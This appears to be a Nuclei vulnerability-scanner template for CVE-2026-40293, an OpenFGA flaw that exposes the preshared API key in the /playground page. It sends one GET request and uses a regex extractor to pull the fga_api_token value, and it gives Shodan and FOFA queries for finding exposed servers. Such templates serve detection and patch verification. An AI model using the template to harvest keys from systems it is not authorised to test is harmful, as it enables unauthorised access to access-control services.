Copy
id: CVE-2026-40293
info:
name: OpenFGA <= 1.13.1 - Preshared API Key Disclosure
author: s4e-io
severity: medium
description: |
OpenFGA 0.1.4 through 1.13.1 contains an information disclosure vulnerability caused by preshared API key exposure in the /playground HTML response when preshared-key authentication and playground are enabled, letting attackers access the API key if the playground endpoint is exposed beyond localhost, exploit requires playground endpoint accessible beyond localhost or trusted networks with preshared-key authentication enabled.
impact: |
Attackers can obtain the preshared API key, potentially allowing unauthorized access to the authorization engine.
remediation: |
Upgrade to OpenFGA v1.14.0 or disable the playground by running `./openfga run --playground-enabled=false`.
reference:
- https://github.com/openfga/openfga/security/advisories/GHSA-68m9-983m-f3v5
- https://github.com/openfga/openfga/commit/81373f28921554ab41232af10f762180d461a776
- https://github.com/openfga/openfga/releases/tag/v1.14.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-40293
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2026-40293
epss-score: 0.013
epss-percentile: 0.70543
cwe-id: CWE-200
cpe: cpe:2.3:a:openfga:openfga:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: openfga
product: openfga
shodan-query: http.html:"openfga"
fofa-query: header="openfga"
tags: cve,cve2026,openfga,exposure,token,unauth
http:
- method: GET
path:
- "{{BaseURL}}/playground"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "Embedded Playground", "play.fga.dev/sandbox/?fga_api_host=", "fga_api_scheme=")'
- 'regex("fga_api_token=[^\"&\\s]+", body)'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- 'fga_api_token=([^"&\s]+)'
# digest: 4a0a00473045022100809a19713e7e08d58158194e06e1880e9771ed43e28d0086b1c83bdbbe3331f902206accde3c5969e43df71a682fd3dc69cae6fa293f0f538926789aca566df5dee0:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.